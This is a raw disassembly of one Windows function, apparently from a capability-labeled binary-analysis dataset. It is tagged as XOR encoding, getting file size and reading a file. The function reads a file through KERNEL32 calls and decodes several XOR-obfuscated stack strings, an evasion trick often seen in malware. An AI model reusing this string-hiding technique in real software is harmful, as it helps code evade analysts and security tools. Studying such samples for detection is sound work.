Function at 0x42852a
Capabilities:
Encode data using xor
Get file size
Read file on windows

Disassembly:
mov eax, 0x467cdf
call fcn.00465ac0
sub esp, 0x180
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 0x34], ecx
push 0xa
pop edx
lea ecx, [ebp - 0x12c]
mov dword [ebp - 0x6c], edi
call fcn.00433f04
mov esi, eax
xor ebx, ebx
mov dword [ebp - 4], ebx
cmp dword [esi + 0x14], 0x10
jb 0x428562
mov esi, dword [esi]
call fcn.00433f77
mov edx, esi
mov ecx, eax
call fcn.00433ad6
push 0xf
pop esi
mov dword [ebp - 0x68], ebx
lea ecx, [ebp - 0x68]
push eax
mov dword [ebp - 0x58], ebx
mov dword [ebp - 0x54], esi
mov byte [ebp - 0x68], bl
call fcn.0041338c
lea ecx, [ebp - 0x12c]
mov byte [ebp - 4], 2
call fcn.0041332b
mov byte [ebp - 0x12], bl
lea edx, [ebp - 0x68]
push dword [ebp - 0x12]
lea ecx, [ebp - 0xac]
call fcn.00414d34
mov byte [ebp - 4], 3
lea edx, [ebp - 0x6c]
mov byte [ebp - 0x12], bl
lea ecx, [ebp - 0x50]
push dword [ebp - 0x12]
call fcn.00414d66
pop ecx
pop ecx
lea edx, [ebp - 0xac]
mov byte [ebp - 4], 4
lea ecx, [ebp - 0x50]
call fcn.0040c370
lea ecx, [ebp - 0x50]
mov bl, al
call fcn.0041314d
lea ecx, [ebp - 0xac]
mov byte [ebp - 4], 2
call fcn.0041314d
test bl, bl
jne 0x42861a
xor ebx, ebx
mov dword [ebp - 0x3c], esi
push edi
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x50], ebx
mov dword [ebp - 0x40], ebx
call fcn.0041338c
lea edx, [ebp - 0x68]
lea ecx, [ebp - 0x50]
call fcn.0041572d
lea ecx, [ebp - 0x50]
call fcn.0041332b
jmp 0x42861c
xor ebx, ebx
cmp dword [ebp - 0x54], 0x10
lea eax, [ebp - 0x68]
push ebx
cmovae eax, dword [ebp - 0x68]
push 0x80
push 3
push ebx
push 1
push 0x80000000
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov edi, eax
cmp edi, 0xffffffff
jne 0x428680
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov cl, 0x30
mov dword [ebp - 0x14], 0x7c657e30
mov word [ebp - 0x10], 0x7c
mov eax, ebx
xor byte [ebp + eax - 0x13], cl
inc eax
cmp eax, 4
jae 0x42866c
mov cl, byte [ebp - 0x14]
jmp 0x42865d
mov ecx, dword [ebp - 0x34]
lea eax, [ebp - 0x13]
push eax
mov byte [ebp - 0xf], bl
call fcn.00412991
jmp 0x4289af
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov esi, eax
push esi
call fcn.0043e76e
push esi
mov ebx, eax
push 0
push ebx
call fcn.00440e40
and dword [ebp - 0x38], 0
lea eax, [ebp - 0x38]
add esp, 0x10
push 0
push eax
push esi
push ebx
push edi
call dword [sym.imp.KERNEL32.dll_ReadFile]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [ebp - 0x68]
call fcn.0040c941
xor eax, eax
mov dword [ebp - 0xd0], 0xf
mov dword [ebp - 0xe4], eax
mov dword [ebp - 0xd4], eax
mov byte [ebp - 0xe4], al
mov byte [ebp - 4], 5
mov edi, eax
test esi, esi
je 0x42870d
mov al, byte [edi + ebx]
cmp al, 0x20
jbe 0x428708
cmp al, 0x7f
jae 0x428708
cmp al, 0x3d
je 0x428708
mov byte [ebp - 0x14], al
lea ecx, [ebp - 0xe4]
push dword [ebp - 0x14]
call fcn.00413351
inc edi
cmp edi, esi
jb 0x4286e8
xor ebx, ebx
mov dword [ebp - 0x21], 0x2f2e145b
mov dl, 0x5b
mov dword [ebp - 0x1d], 0x3532343c
mov dword [ebp - 0x19], 0x1708083c
mov ecx, ebx
mov byte [ebp - 0x15], bl
xor byte [ebp + ecx - 0x20], dl
inc ecx
cmp ecx, 0xb
jae 0x42873a
mov dl, byte [ebp - 0x21]
jmp 0x42872b
push 0xf
pop esi
lea eax, [ebp - 0x20]
mov dword [ebp - 0x50], ebx
push eax
lea ecx, [ebp - 0x50]
mov byte [ebp - 0x15], bl
mov dword [ebp - 0x40], ebx
mov dword [ebp - 0x3c], esi
mov byte [ebp - 0x50], bl
call fcn.0041338c
mov byte [ebp - 4], 6
mov ecx, ebx
movaps xmm0, xmmword [str..a_ZIAG_IKXK_]
movups xmmword [ebp - 0xbc], xmm0
mov al, byte [ebp + ecx - 0xbb]
xor al, byte [ebp - 0xbc]
mov byte [ebp + ecx - 0xbb], al
inc ecx
cmp ecx, 0xe
jb 0x42876c
lea eax, [ebp - 0xbb]
mov dword [ebp - 0xac], ebx
push eax
lea ecx, [ebp - 0xac]
mov byte [ebp - 0xad], bl
mov dword [ebp - 0x9c], ebx
mov dword [ebp - 0x98], esi
mov byte [ebp - 0xac], bl
call fcn.0041338c
lea eax, [ebp - 0x50]
mov byte [ebp - 4], 7
push eax
lea eax, [ebp - 0xac]
push eax
lea edx, [ebp - 0xe4]
lea ecx, [ebp - 0x18c]
call fcn.00433bc9
pop ecx
pop ecx
mov edi, eax
mov byte [ebp - 4], 8
mov ecx, ebx
movaps xmm0, xmmword [0x47be00]
movups xmmword [ebp - 0x80], xmm0
mov dword [ebp - 0x70], 0x7a6028
mov al, byte [ebp + ecx - 0x7f]
xor al, byte [ebp - 0x80]
mov byte [ebp + ecx - 0x7f], al
inc ecx
cmp ecx, 0x12
jb 0x4287f2
mov byte [ebp - 0x6d], bl
mov dl, 0x4f
mov dword [ebp - 0x2e], 0xc21064f
mov ecx, ebx
mov dword [ebp - 0x2a], 0x21262220
mov dword [ebp - 0x26], 0x31c1c28
mov byte [ebp - 0x22], bl
xor byte [ebp + ecx - 0x2d], dl
inc ecx
cmp ecx, 0xb
jae 0x428831
mov dl, byte [ebp - 0x2e]
jmp 0x428822
lea eax, [ebp - 0x2d]
mov dword [ebp - 0x114], ebx
push eax
lea ecx, [ebp - 0x114]
mov byte [ebp - 0x22], bl
mov dword [ebp - 0x104], ebx
mov dword [ebp - 0x100], esi
mov byte [ebp - 0x114], bl
call fcn.0041338c
mov byte [ebp - 4], 9
mov edx, ebx
movaps xmm0, xmmword [0x47b880]
movups xmmword [ebp - 0xcc], xmm0
mov cl, byte [ebp - 0xcc]
xor byte [ebp + edx - 0xcb], cl
inc edx
cmp edx, 0xe
jb 0x42886f
lea eax, [ebp - 0xcb]
mov dword [ebp - 0xfc], ebx
push eax
lea ecx, [ebp - 0xfc]
mov byte [ebp - 0xbd], bl
mov dword [ebp - 0xec], ebx
mov dword [ebp - 0xe8], esi
mov byte [ebp - 0xfc], bl
call fcn.0041338c
lea eax, [ebp - 0x114]
mov byte [ebp - 4], 0xa
push eax
lea eax, [ebp - 0xfc]
push eax
lea edx, [ebp - 0xe4]
lea ecx, [ebp - 0x174]
call fcn.00433bc9
pop ecx
pop ecx
mov esi, eax
mov byte [ebp - 4], 0xb
mov edx, ebx
movaps xmm0, xmmword [0x47c050]
movups xmmword [ebp - 0x93], xmm0
mov word [ebp - 0x83], 0x3923
mov byte [ebp - 0x81], bl
mov cl, byte [ebp - 0x93]
xor byte [ebp + edx - 0x92], cl
inc edx
cmp edx, 0x11
jb 0x4288fc
push esi
lea edx, [ebp - 0x92]
mov byte [ebp - 0x81], bl
lea ecx, [ebp - 0x15c]
call fcn.004228f7
lea ecx, [ebp - 0x7f]
mov byte [ebp - 4], 0xc
push ecx
mov edx, eax
lea ecx, [ebp - 0x144]
call fcn.0041965a
pop ecx
pop ecx
mov ecx, dword [ebp - 0x34]
push edi
push eax
mov byte [ebp - 4], 0xd
push dword [ebp - 0x38]
call fcn.0042410c
lea ecx, [ebp - 0x144]
call fcn.0041332b
lea ecx, [ebp - 0x15c]
call fcn.0041332b
lea ecx, [ebp - 0x174]
call fcn.0041332b
lea ecx, [ebp - 0xfc]
call fcn.0041332b
lea ecx, [ebp - 0x114]
call fcn.0041332b
lea ecx, [ebp - 0x18c]
call fcn.0041332b
lea ecx, [ebp - 0xac]
call fcn.0041332b
lea ecx, [ebp - 0x50]
call fcn.0041332b
lea ecx, [ebp - 0xe4]
call fcn.0041332b
lea ecx, [ebp - 0x68]
call fcn.0041332b
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x34]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
leave
ret